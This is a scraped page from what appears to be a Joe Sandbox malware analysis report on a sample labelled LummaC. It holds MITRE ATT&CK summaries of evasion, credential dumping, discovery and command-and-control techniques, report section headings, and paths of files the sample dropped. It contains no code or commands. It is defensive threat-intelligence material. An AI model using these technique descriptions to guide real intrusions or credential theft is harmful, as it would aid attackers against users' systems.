Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GnHq2ZaBUl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Windows Analysis Report
GnHq2ZaBUl.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre